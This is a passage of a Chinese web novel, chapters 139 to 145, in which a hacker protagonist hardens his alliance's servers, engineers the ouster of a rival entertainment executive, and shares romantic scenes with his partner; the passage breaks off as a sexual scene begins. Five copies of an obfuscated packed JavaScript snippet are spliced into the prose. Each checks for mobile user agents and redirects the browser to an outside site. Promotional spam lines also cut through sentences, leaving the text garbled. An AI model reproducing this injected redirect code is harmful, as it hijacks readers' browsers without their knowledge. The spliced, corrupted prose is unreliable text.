另一件就是卢家大小姐的事。 卢安岚这算是彻底露面了,不过两家对这场娃娃亲似乎态度都处于试探。 索性最后也没人再主动提。 日子总是忽然变得很快,京城很快就就迎来了初雪。 时清徵站在窗边,看着雪纷纷扬扬,有种说不出来的宁静。 忽然感觉岁月静好。 这点雪自然积不起来,怕是刚落地就化了,也只能看看。 时清徵显然不是什么有这种高雅兴致的人,很快就把视线挪了回来。 电脑那边传来消息。 北岛到A国了,具体位置还不清楚。 对方的目的很明确,是冲着他来的。 时清徵也不知道自己的行踪是怎么泄露的,但也没小瞧对方背后的情报网。 哪怕自己的资料做得再完美,也不可能毫无痕迹。 总有被查出来的一天,只要对方肯下功夫,不过是时间和精力的问题。 时清徵也没有特别焦虑。 既来之就让对方安之,简单。 而另一件就让时清徵颇为头疼了。 WWZ的数据库前些日子被三番五次攻击,且对方有备而来,明显很熟悉WWZ内部的防御系统。 对方攻击频率之高,手段之刁钻让时清徵也不得不重视起来。 毕竟他不可能时时刻刻守着,总得有休息的时候。 而对方很擅长钻这个空子。 时不时搞些破坏。 虽然每次对方都无法接触到核心数据,靠近时都WWZ的成员被很好地防了过去。 但也架不住对方不辞日夜地搞破坏,让时清徵都动了较真的念头。 第140章 改头换面的WWZ 这些多次尝试攻击WWZ联盟服务器的人来历不明。 有M国官方那边的人,也有很多叫不出名字的小组织。 有实力不错的,也有滥竽充数的。 扰得人烦不胜烦。 真是一天的安稳觉都不打算让他们睡。 时清徵花了几天功夫,跟几个骨干成员重新编了一套防火墙和防御系统。 对方这才消停了不少。 时清徵暂时还真想不到M国那边攻击WWZ联盟的真实原因。 其实WWZ联盟在十几年前的网络世界格外猖獗,行动基本是带着**和社会目的。 许多黑客为了加入WWZ联盟,通常会选择攻击政府网络来证道,借此吸引注意,从而达到加**盟的目的。 也有另辟蹊径者选择直接黑入WWZ内部安全网络。 但无论怎么说,这些黑客全都是天赋异禀之人,他们之所以做出这些举动,有些是出于内心的野心,有些也仅仅是为了证明自己的实力。 甚至因为不满某些政策而对多个国家发起网络战。 那时的WWZ是最辉煌的时候。 然后没几年就被制裁了。 多名骨干成员被捕,WWZ也终于消停了,低调了不少。 但并不妨碍它是无数黑客的心之所向。 如今WWZ早已不再做那些网络攻击行为,反而开始专注网络安全和信息技术研究。 不再组织非法的网络攻击。 而是会帮助客户进行安全网络安全测试,进行风险测评。 然后等对方花钱,自己再帮助对**化网络防御力。 他们现在虽然不说很清白吧,但也算是改头换面了。 所以现在这种情况,就.无妄之灾呗? 好在这些日子里,倒是没出什么事。 WWZ那边有了新防火墙后倒是安静了一阵,时清徵可以暂时把那边操的心给收回来。 反而是程俊安这边有了新的进展。 此前程氏娱乐的《山海纪元》与天和集团的救命项目被时清徵横插一脚。 这一举动不仅暴露了程氏公司内部的虚弱,还直接导致程氏娱乐股价一度暴跌,连带《山海纪元》的I 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 P价值也大幅缩水。 在IP贬值的情形下,程俊安虽找上宋氏集团,经过一番打点才疏通关系,对方也愿意接手,但出价却被压得很低。 尽管对价格极为不满,程俊安也已找不到更合适的合作方,最终只能让宋氏集团抄了这个底。 虽未达成原定目标,但程氏娱乐总算能暂时缓一口气。 可时清徵还没放出真正的大招呢。 他不动声色地联系《山海纪元》前创作人,做好了交易,然后把对方的联系方式推给周景深, 只交代了一句:“看着办。 这位前创作者此前对程氏娱乐的开价很不满,于是进行了长达半年的漫长索赔过程。 不过程氏娱乐对她的申诉始终置之不理。 这件事也没掀出什么水花来。 单凭她个人,确实难以抗衡整个程氏公司的律师团队。 时清徵并不指望靠这一尚未爆雷的版权**彻底击垮程氏娱乐, 无非是想给他们多添点堵罢了。 说到底,时清徵真正要算计的,始终是程俊安。 将人逼至绝境,什么事都做得出来。 他拭目以待。 ———— 另一边,周景深收到《山海纪元》前创作者的联系方式后,第一时间吩咐法务团队主动接洽。 几场官司接连打下来,尽管不算全胜,却也让本就处于敏感时期的程氏娱乐越发吃力。 公司资金流紧绷,任何一个**都可能让刚刚稳住的《山海纪元》合作再起波澜。 程俊安明显感受到了压力,终于在一次高层会议上爆发。 他一把将报表摔在桌上,声音几乎是压着怒火挤出来的: “官司一打再打,**一波比一波更高。你们法务和公关都是做什么吃的?这点事情都压不下去吗! 会议室一片死寂,无人敢在这个时候接话。 他深吸一口气,冷眼扫过全场:“我再问最后一遍,有没有人能给个准话?到底还能不能处理? 众人低着头,法务部和公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320978|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关部的负责人更是一句话都不敢说。 这件事单论本身并不算严重,麻烦在于对方步步紧逼,且是有备而来。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 他们明显是存心不让程氏娱乐喘息。 更棘手的是,几个关键话题始终在商业新闻上高悬,一看就是经过周密策划的推手操作。 程氏娱乐不是不能打官司,但他们心知肚明,真一直打下去,只会越打越亏。 当初为了拿下《山海纪元》的版权,公司确实使了些不光彩的手段。 这些若真被对方一一摊开在公众面前,程氏娱乐这么多年积累的名声恐怕真要毁于一旦。 而他们最拖不起的,就是时间。 项目僵持不下,资金无法回笼,宋氏集团又趁机施压。 一边催促进展,一边借势拿好处,分明是想从程俊安身上再撕一块肉下来。 直到这时,程俊安才真正体会到什么叫腹背受敌。 他回想这几个月来一连串的变故,越来越觉得程氏娱乐不像是一时运气差,反倒像是被人盯上了。 有能力布这个局针对程氏的,放眼整个京圈,也不过那么几家。 可他对那几家一向礼数周到,谨小慎微,怎么可能突然招惹上? 排除了所有不可能,剩下的再不可思议,似乎也只是真相。 他脑海里再次清晰浮现出“光影娱乐”的名字。 但他依然想不通。 两家素无深交,却也谈不上结怨,对方到底为什么突然出手? 打压自己,对方也不过是杀敌一千,自损八百。 完全是给其他娱乐公司趁机发展的机会。 这可一点都不划算啊,不像是周景深那家伙的性格。 程俊安靠在椅背上,揉了揉突突直跳的太阳穴。 他第一次觉得,自己已经站在一场早已布好局的棋盘上。 而自己却连对手的面孔都还未看清。 就在他一筹莫展之际想到了自己的妻子,江晓蕾。 他的妻子是江家人,总不会对他的程氏娱乐置之不理。 这么想着,他心中有了计较。 第141章 双倍完成 下班后,程俊安难得准时回了家。 江晓蕾自嫁进程家便不再过问公司事务,平日里无非是周旋于各家太太之间,维系人情往来。 她与程俊安育有一子程知远,今年刚大学毕业,正逐步接手公司管理。 公司近期风波她早有耳闻,却始终未主动开口。 不是不愿帮,而是如今的江家,早已不是从前她能说上话的江家。 “晓蕾啊。” 程俊安难得递来一份礼物,是件首饰。 江晓蕾只瞥了一眼,便看出是柜台常备的普通款,分明是临时顺手买的。 “有什么事吗?”她语气平淡,指尖漫不经心地摆弄着新做的美甲,并不抬眼看他。 江晓蕾看起来就是一个很温婉的女人,从骨子中透露出优雅来。 毕竟是京城江家养出来的大家闺秀,哪怕只是坐着也能看出来气质不凡来。 程俊安的目光甚至没在江晓蕾身上停留多久,而是直接在她旁边的沙发上坐下。 直接开口,也没打算绕弯子。 毕竟程氏娱乐的事就是自家事,自家人帮自家人,有什么说不出口的? “公司最近的情况你也清楚,资金实在周转不过来,你看江家那边能不能” 江晓蕾这才抬眼看向丈夫,嘴角弯出一抹冷笑: “江家现在什么情况,你会不知道?” 自从江南月回来接手**,整个江家早已变了天。 尤其是前段时间江晓崖还进了监狱,指不定后面有没有江南月的手笔。 三叔江晓林如今一声不吭,低调得几乎不见人影。 她虽名义上是江南月的姑姑,可实际上哪还有什么话语权? 更别提什么亲情牌,在江南月面前根本不好使。 程俊安却不死心,继续劝道: “你好歹是她小姨,我们总归是一家人,总不能见死不救吧?” “我爸过寿那天,你也不是没见到江南月。” 江晓蕾语气愈发讥讽:“你这位姨父亲自去求她,不是更合适?” 她太清楚程俊安了,既放不下面子,又想要人伸手救他。 天底下哪有这么容易的事? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 程俊安见状,只好把儿子推出来: “我这一切,还不都是为了知远?程氏娱乐将来都是他的。就算不为我,你也得为儿子考虑。” 江晓蕾沉默良久,终是垂下眼帘。 事到如今,她与程俊安仍是一条船上的人,公司的危机,她终究无法真的置身事外。 说到底,气话归气话,该帮的忙终究还是要帮。 难道真要眼睁睁看着程俊安破产,自己也跟着一无所有? 当晚,她还是给江南月发去了消息,言辞恳切,希望**集团能在此时拉程氏娱乐一把。 她低头打字时,程俊安还在旁边踱步,低声抱怨: “一个女人,野心这么大,怎么可能管得好整个**?要是你二哥还在,绝不会对我们坐视不理。” “女人啊,就是心眼小,眼光短浅.” 江晓蕾听得心烦,却也没反驳,只是蹙紧眉头继续编写信息。 她比谁都清楚,这些抱怨毫无意义,只不过是她丈夫挽尊的方式。 消息发出后,久久没有回音。 程俊安越来越不耐烦,语气也愈发理所当然: “你可是她小姨,她这点面子总应该给你吧?” 在他心里,他娶了江家的女儿,**他就是天经地义。 江南月那边还是白天,她刚处理完一项工作准备给时清徵发消息,就看见江晓蕾的消息。 江南月: **,忘把你拉黑了。 然后扫了一眼对方发来的信息,果断删除联系人。 程俊安,她知道的呀,得罪了时清徵的那个。 谁碰谁倒霉。 对面倒霉蛋儿,别来沾边。 至于帮? 你当我是观音菩萨啊,还普度众生,谁的钱是大风刮来的啊。 等江晓蕾许久之后又发了一条消息,只见那个消息前面跟着一个明晃晃的红色感叹号。 程俊安的脸一瞬间的黑了。 对方看到她的消息却把她拉黑了,这是什么意思? 江晓蕾虽然对此早有预料,但手指还是僵了下。 “我早就说过了.”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320979|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 程俊安的眼神有些阴沉,面上也 你的朋友正在书荒,快去帮帮他吧 多了几分不耐。 心中有些埋怨江晓蕾,要是对方先前就跟江南月打好关系,现在也不至于做到这种无人帮的地步。 这么想着,他也这么说出来了。 江晓蕾的表情瞬间变了:“你什么意思?你那些项目合同有多少不是我去跟那些集团老总的夫人求来的?” “你真的觉得我很轻松吗?” 程俊安很不耐烦的闭了下眼:“女人说话占什么分量?如果不是对方看中我们公司也不会跟你结交。” “互利共赢的事,别把自己说的这么伟大。” 江晓蕾没想到自己在背后付出了这么多努力丈夫是一点都没看见。 她有些气不顺,脸刷的一下就白了。 “程俊安,你什么意思?” 程俊安却已经没有这么多耐心去跟她讨论付出多少的问题了。 直接转身离开了房间。 门被用力的关上,砰的一声。 让人的心也不由得发抖,只觉得浑身发凉。 江晓蕾此时心中无数的委屈与愤怒都涌了出来,无力地瘫坐了回去。 江南月那边随手拉黑了江晓蕾,就给时清徵发去了消息。 【青鸟:万岁,要不你给我磕一个吧,一边磕一边喊万岁怎么样?】 【万岁:???】 三个问号,时清徵很疑惑了。 干嘛?你有病?你也想**? 【青鸟:不是我说,你爹都没我这么疼你。得意脸jpg.】 【万岁:你把幽灵组织总部炸了?还把那群老头骨灰扬了?】 【青鸟:那倒没有。】 【万岁:那你研制出长生不老药了?】 【青鸟:能不能现实一点。】 【万岁:你把昏鸦干掉了自己当老大了,然后带领FK成为世界一强集团,还把我送到了富豪榜第一?】 【青鸟:好啊你,想**是吧,截图了,等爱的铁锤吧。】 在时清徵的一连串省略号下,江南月也没再瞎扯。 【青鸟:你让我找的东西我双倍完成了。】 第142章 程老爷子 时清徵之前请江南月留意一件事,盯紧黑潮公司的卢卡斯,尤其是他手中那个契瓶02。 江南月虽早就掌握大致位置,却一直没找到合适的机会动手。 这一次,她不再试探,直接派人端了卢卡斯的老巢,果然从中搜出了契瓶02。 更令人意想不到的是,在追击卢卡斯的过程中,她竟顺手截下了另一枚芯片。 江南月难掩兴奋,眉飞色舞地打字讲述这戏剧性的经过: 她原本只是出于惯性派人追堵卢卡斯。 没想到对方那时正好跑去与“幽灵组织”的人接头。 而最巧的是,幽灵组织交给卢卡斯的一枚芯片。 当天,连人带芯片就被她给截住了。 提取资料后才发现这两份芯片里的内容应该是同一份实验中的数据资料。 【青鸟:两份芯片的资料我都提取完毕,发往东南区了。】 【青鸟:你是不是该给我磕一个?我都觉得自己是天选女主了,这世界简直围着我转。】 时清徵无语,单走一波6。 【万岁:这么说,你那边的事快处理完了?】 【青鸟:差不多,就剩几个收尾了。】 【青鸟:但我怀疑幽灵组织派人送来芯片没那么简单。之前我在黑潮公司的一个地下室里发现了近期还在使用的实验痕迹。】 【青鸟:实验室撤离得很匆忙,没清理干净。从残留的设备与材料来看,大概率是进行人体相关的实验。】 【青鸟:你之前提过,幽灵组织十几年前就暗中开展过某种实验是不是跟这次发现的有关?】 时清徵没有第一时间回答,而是皱眉思索了一会儿。 【万岁:也许吧。】 【青鸟:啧,你说这种实验到底能不能成功呢?他们研究到哪一步了?】 像这种实验投入了大量的金钱和精力,总不可能一无所获。 所以幽灵组织才会又一次重启这个实验,必然是有所发现。 时清徵也是后来才查明,这种人体实验并不是只有幽灵组织在做。 东南群岛的拉尔斯,赤洲那边的一些势力,现在甚至涉及到了黑潮公司。 看来这个实验比他想象中还要多 听说看这本书的人都是很幸运的,分享后你的运气会更棒 。 而当年的实验品也远不止幽灵组织那边有。 【万岁:就算没尝到甜头他们也不会停下这种事总有人会去做。】 用金钱换生命的事不过这是更加惨绝人寰的一种。 【青鸟:哎还是老头想的多啊只是这种事做多了也不怕遭报应。】 【万岁:要遭报应早就遭了怕死而已。】 【青鸟:其实从那些留存下来的资料可以看出一些端倪我觉得那群人应该是真有些东西。】 【青鸟:待我好好分析一番我倒想看看有多牛逼。】 【万岁:嗯。】 就在话头快要结束的时候江南月又想起来了一件事。 【青鸟:还有那个叫什么程俊安的你怎么还没收拾掉?你怎么这么磨蹭?】 【万岁:你又知道了。】 【青鸟:人信息都发到我这儿来了不是我说你能不能快一点我都心急。】 【青鸟:你是不是没经验我有啊我告诉你。】 【青鸟:你特么直接拿钱砸死他羞辱他让他去**要是他不**你就亲自拿枪蹦死他。】 【青鸟:爽歪歪.jpg】 身为一个拥有拿下江家并且经验丰富的人江南月觉得自己在这个方面非常的有话语权。 【万岁:不劳您费心。】 【青鸟:哎我看着都着急啊这也不符合你的性子啊。】 干啊直接干上去啊! 当事人不着急她这个旁观者都要上火了。 【万岁:很快。】 时清徵所说的“很快”果然快得惊人。 周景深在**操控上手段老练早已暗中打点好数家主流媒体。 一时间关于程氏娱乐的**铺天盖地而来压也压不住。 起初还只是公司内部资金链断裂 渐渐地战火却已经蔓延至程氏娱乐的总裁程俊安本人身上。 一系列爆料步步紧逼**焦点逐渐从公司转向了掌权者。 网络之上风声鹤唳娱乐公司一出事旗下艺人自然也难以幸免。 虽然艺人本人不便发声 听说看这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320980|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本书的人都是很幸运的,分享后你的运气会更棒 ,粉丝却纷纷将怒火倾泻至公司头上: 【垃圾公司会不会做资源规划?】 【整天拖哥哥后腿,还不放人?】 【程氏娱乐倒闭吧!吸血吸够没有!】 他们成群结队地涌入程氏娱乐官方微博,大骂公司不作为,浪费艺人青春。 而最终,在有意无意的引导下,所有矛头都指向程俊安。 曾经被千方百计压下的丑闻,如今再度甚嚣尘上: #爆!程氏娱乐总裁深夜密会当红小花疑似卷入# #程俊安前任名单曝光豪门感情史堪比连续剧# #一掷千金为红颜?程氏账面亏空背后惊人消费# 谣言与真相交织传播,真假早已不再重要。 局势持续发酵,甚至有财经媒体深入剖析,直指程氏娱乐近年来股价持续下跌,根本原因在于掌权人程俊安的决策失误与管理混乱。 一时间,程俊安在公司的地位岌岌可危。 不仅下属频频发声质疑,董事会也多次召开紧急会议,要求给出交代。 最终,程老爷子,也是集团最大股东,亲自出席董事会,并同步召开媒体发布会。 他身着挺括唐装,神色肃穆,当众宣布撤掉程俊安总裁职务,暂时由他人代理。 至于这暂时是多久,那就是仁者见仁智者见智了。 “爸!您不能这样对我!” 程家老宅内,程俊安双眼布满红血丝,几乎是嘶吼着朝向端坐正位的程老爷子。 甚至一向用发胶打理工整的头发都有些凌乱,哪还有之前的意气风发? 程老爷子虽年事已高,却仍坐姿挺拔,不怒自威。 他淡淡扫过程俊安狼狈的模样,忽然抬手,重重一拍桌面。 震响让四周顿时寂静,所有人不由得屏息低头。 程老爷子年纪大不怎么管事,但却还是把集团的股份大头牢牢把握在自己手中。 甚至程俊安这个指定的继承人手中的股份都没有多少。 程老爷子声音沉冷,一点都不讲情面。 “看看你现在像什么样子?还有没有一点程家继承人的体面!” 第143章 王凯林 “体面?程俊安冷笑一声。 “爸,撤销职位这么大的事情你都不跟我商量一下,你把我的脸往哪搁? “你让我以后怎么能服众? 他的语气越说越强,说到最后忍不住的粗喘气。 目光发狠,似乎是气急了。 程老爷子显然也被儿子这冒犯的举动气的不轻。 “把你的手给我放下,成什么样子? “不交给别人,难不成继续让你挥霍,你别以为我真的不清楚公司的那点事。 程俊安辩驳:“可我们公司已经与宋氏. “够了! 程老爷子不耐烦的打断。 “一个好好的合作你都能被搅和,我看你这些年是被酒色迷了眼,连脑子都丢了。 “宋氏的那种合同和把IP白送给他们有什么区别?你.咳咳。 程老爷子一激动就止不住的咳嗽。 年纪大了没别的,就是这种**病很多。 江晓蕾走上前,站在一旁帮他顺气。 一边低声劝道:“爸,你也消消气,这件事虽然是俊安不对,但他也是被别人坑了。 接着又说了很多好话。 程老爷子脸色这才缓和了下来。 “你这段时间就好好在家里待着,公司的事情就不要再管了。 “爸,我 程俊安还想在争取。 “啪—— 程老爷子手边的茶盏被他一个用力摔到地上。 “闭嘴,你还嫌我们程家不够丢脸吗? 茶水四溅,有几滴溅到了程俊安的皮鞋上,还打湿了他的裤脚。 江晓蕾此时的脸色也不太好看,站在一旁也不再说话。 程俊安咬牙,虽然气不过,但还是没当着老爷子的面甩脸色,而是扭头直接离开。 也没跟其他人打一声招呼,走出门时脸都黑了。 江晓蕾站在原地也没有跟上去。 程老爷子趁机扭头跟她讲话:“晓蕾啊,这些年辛苦你了。 江晓蕾勉强笑了笑,想说什么,但还是咽了回去。 “俊安这些年 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 男人嘛,回去你多劝劝,他要是再惹出什么事端,我非骂死他。” 程老爷子一副慈祥长辈的做派,在江晓蕾面前拉偏架。 无论怎么样,他心里还是向着这个儿子的。 这毕竟是他唯一的儿子,就算是犯错,只要纠正过来那不就好了吗? 程老爷子事业有成后也是处处留情,但跟原配却只有程俊安这一个儿子。 所以无论如何,家业是都会到程俊安手上的。 江晓蕾垂在身侧的手无意识捏紧,然后又松开了。 “我懂的,这些年公司经营不利,也不是俊安一个人的错,大环境不好,身边也没个可用的人。” “好在知远如今也进了公司实习,这么说也能分担一下。” 话题被引到了程知远身上。 程老爷子也下意识想起这个长孙来,点头道:“知远是个好孩子,从小到大就聪明。” “知远这孩子,从小就跟您亲,这不一毕业就进公司实习了,说要让您看看,真是的,也不知天高地厚的。” “年轻人嘛,有点闯劲儿好,想我年轻时候.” 程老爷子又忍不住说起自己年轻时候来。 “知远这孩子是真像我,要是再历练几年,程氏也能安心放到他手里喽。” 程老爷子不动声色地给江晓蕾喂了一颗定心丸。 还顺便让人把程知远在公司里的职务提了提。 —————— 程氏娱乐总裁换人的消息刚放出来,时清徵就知道,有人要坐不住了。 程氏娱乐这位新上任的临时总裁明面上是程老爷子花重金请来的代理人。 他履历漂亮,背景干净,任谁看了都挑不出毛病。 可实际上,这个人却是程老爷子中年时一段露水情缘留下的私生子。 只不过,程家上下对此一无所知。 这个新上任的代理总裁王凯林是国际名校金融硕士毕业,曾在顶尖科技企业UB担任过东洲分区总裁。 几个月前,他辞去海外职务回国发展,又恰巧经由程老爷子一位多年老友引荐,顺理成章地进入程氏视野。 程老爷子正愁无人可用,一看他经验过硬,再加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320981|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上又是信得过的老朋友亲自推荐,自然没有多 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 疑。 他很快便签下聘书,将公司临时管理权交到了王凯林的手中。 然而世上哪有那么多巧合。 王凯林的回国,引荐,乃至与程老爷子的这场偶遇,全是时清徵提前布置好的。 早在几年前,时清徵就已把程家查得清清楚楚,包括程老爷子那些从未公开的私生子女。 在一众私生子之中,王凯林最为出色。 于是时清徵很早就盯上了他。 巧的是那时的王凯林正从前公司辞职,时清徵就花了些功夫把人挖到了自己公司。 如今程俊安倒台,程氏内部动荡,正是王凯林登场的最好时机。 “这个机会,你可要好好把握住啊。” 时清徵划开手机,屏幕上正推送着程氏娱乐换总裁的新闻。 他唇角微扬,眼中掠过一丝笑意。 有王凯林在程氏内部作为支点,时清徵几乎实时掌握着公司的一举一动。 董事会动态,股东意向以及资金流动 趁着程俊安刚被踢出权力中心,程老爷子尚未完全接手的空档期,时清徵迅速行动,低调约见了多位程氏娱乐的股东。 他选的地方是一家隐于市井的茶室,私密安静。 几个股东到的时候,时清徵已经在里面等着了。 这几个股东显然是对对方的到来毫不知情的。 他们几个在屋外碰到的时候还怕对方发现自己的意图,顺嘴扯了几个谎。 结果如今在同一间茶室碰到,有些尴尬的不敢对视。 时清徵显然没打算直奔主题。 这几个股东他了解过,要么就是现在手里确实缺钱,要么就是早就对程俊安不满了。 这几人明显有了撤股的打算,而时清徵就准备趁这个机会从这几人手中收股份。 毕竟搞垮一个公司确实很爽,但是费钱又费力。 不如让这个公司改名换姓,替自己赚钱。 “这里的茶很不错,所以请各位董事来尝尝。” 时清徵率先开口。 第144章 AAA下水道专修大美女 几位股东原本都带着几分心虚好像做了什么亏心事被人当场撞破说话时的语气也透着一股微妙的不自在。 直到茶香袅袅升起。 人到了一定年纪总会莫名对茶生出几分敬意与迷恋。 尤其是被时清徵请来的这几位其中一位名叫孙峰的股东更是圈内出了名的老茶客。 他只稍稍一嗅再观其汤色便断言: “这是.白毫银针?” 时清徵闻言抬眼微微一笑: “孙总好品味。” 其余几人虽未第一时间认出这款茶但白毫银针的名号却是听过的知道其珍贵。 虽是谈判场合但时清徵礼数周全并未显露出半分压迫感反倒让几位股东神色渐缓谈话氛围也松弛了几分。 这几位股东本就存了抛售股份之意加之时清徵开价优厚 后续流程虽尚需时间推进时清徵却并不着急催进度。 待几位股东相继告辞他才不疾不徐地起身。 临走时还不忘吩咐人包了些茶叶带走。 这茶不错带些回去给顾鸣鹤尝尝。 时清徵又想起顾鸣鹤之前抱怨过喝的咖啡味道实在一般很不想喝的事。 咖啡喝多了对胃也不好。 时清徵想着顾鸣鹤虽然年轻但应该注意身体。 他觉得这茶就不错提神还不冲。 时清徵回到家时顾鸣鹤已经在家了此时他换了家居服显得有些休闲。 “今天怎么回来的这么早?” 时清徵一边脱下外套一边朝顾鸣鹤走去。 “这几天公司不忙。” 顾鸣鹤抬头第一眼就看见了时清徵手中拎的袋子。 “这是什么给我的?” 他眼睛亮了下。 “你猜呢猜中了就归你。”时清徵笑了下把袋子往桌子上一放。 单手放在桌沿就在那儿看着顾鸣鹤。 顾鸣鹤也站起身一边猜一边往时清徵那里走:“我猜.” 他慢悠悠地晃过去眼睛直勾勾直往袋子里瞥。 时 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 清徵侧身挡了一下:“还耍赖皮呢?” 顾鸣鹤:“哪有啊。” 但手却是很实诚地去勾袋子,然后迅速往里面一看。 是一个很好的包装盒,很精致,像是定制的。 不是外面的那些品牌货。 顾鸣鹤还真猜不出来。 只能开始在那里瞎猜,把能想到的东西全都说出来了。 结果时清徵还是摇头。 顾鸣鹤一脸颓败:“猜不到啊。” 时清徵抱胸看他,也没有说话。 “提示一下啊时小徵。” 最后顾鸣鹤都开始胡言乱语了,什么*都讲出来了。 让时清徵忍不住别了他一眼。 “能不能正经点。” 最后顾鸣鹤赌气一般:“不猜了,猜不到也不给我。” 时清徵却还是逗他:“先生你求我啊,说不定我心情一好就给你了。” 顾鸣鹤不知想到了什么,眸子动了动,升起了些异样情绪:“好啊。” 说着朝时清徵靠过去。 单手揽腰,另一只手扣住时清徵的后脖颈,朝自己这边微微用力。 然后低头。 两人靠的不远又不近,一个很容易失了分寸的位置。 顾鸣鹤语气有些勾人,像真的很认真地在求人。 “那就求我家时小徵,把这里面的东西送我,好吗?” 说着,眼神还恰到好处地透出点无辜和恳求来。 这么近,时清徵只觉得是暴击。 顶不住啊。 “好啊。” 时清徵答应地那叫一个痛快。 答应完就想抬头吻过去。 谁料顾鸣鹤躲开了,勾住人后领的衣服往后扯了扯。 时清徵:? 他一脸疑惑。 顾鸣鹤满脸矜傲,轻哼一声:“不给亲,除非你求我。” 时清徵舔了舔牙尖,看着欲擒故纵的顾鸣鹤。 “那好吧。” 他先是后退了半步,然后垂眸想了一会儿。 顾鸣鹤含笑看着他,带着点期待。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 时清徵过了十几秒方才抬头,刚一张口就被顾鸣鹤先打断了下。 “不许说算了,不然我收拾你。” 时清徵本来就没打算说算了,但因他这话还是瞥了他一眼。 “你真的很会破坏氛围。” 顾鸣鹤:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320982|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能说明你不够投入。” 时清徵没理他这句栽赃,而是轻轻捏住他的下巴,往下按了按。 “那就请我家大鹤先生凑过来,先张开嘴,然后” 这步骤详细到当事人顾鸣鹤都有些挡不住了,偏偏时清徵还是面不改色。 看着对方的嘴张张合合,顾鸣鹤都多了些难得的羞赧。 还是用行动把对方的话堵在自己嘴里。 他家时小徵才是最闷骚的那一个。 真的。 虽然顾鸣鹤这么评价时清徵,但他显得也低估了自己,没有多少自知之明。 他先夸了一番时清徵的口才好,一边建议。 “不如晚上也一边描述一边.” 时清徵:“.” 搬起石头砸自己脚吗,有点意思。 当天晚上,顾鸣鹤用实际行动证明什么叫身体力行。 时清徵醒来时喉咙都比先前干哑几分,当天就有点自闭,有点不想说话了。 偏偏顾鸣鹤第二天还一脸嘚瑟地带着时清徵给的茶叶去上班了。 喝茶时那叫一个满面春光。 甚至给时清徵拍了泡茶的视频。 喉咙本就有些不舒服的时清徵: 一点都不想回他。 时清徵面无表情地退出聊天界面,指尖在屏幕上方停顿片刻。 呵,是该清理一下好友列表了。 他顺手点开一个名字极其突兀的联系人。 【AAA下水道专修大美女】 这人谁啊? 时清徵点开人主页,刚想看看,结果手臂一阵酸麻,手机砸脸,点到了“删除”。 拿起手机时,再一次误触,点到了“确定”。 直接删除了联系人。 时清徵揉着脸,只觉得今天有些倒霉过头了。 心中还想着,这是什么时候加的人? 他蹙眉想了想,一点印象都没有。 看这ID,看这头像,大概是某次叫维修工时顺手通过的申请。 毕竟他一般不会给不重要的人备注。 而另一边,心血来潮改了这个ID的江南月,还完全不知道自己已经被删了。 等她后来发现时,简直气笑,揪着这个机会狠狠敲诈了时清徵好几顿“饭”,扬言要把他薅成穷光蛋。 不过,那都是后话了。 第145章 中情局 晚上。 “分开一点宝贝.” 顾鸣鹤一手掐着时清徵的腰,一手撑住他的腿往外拉。 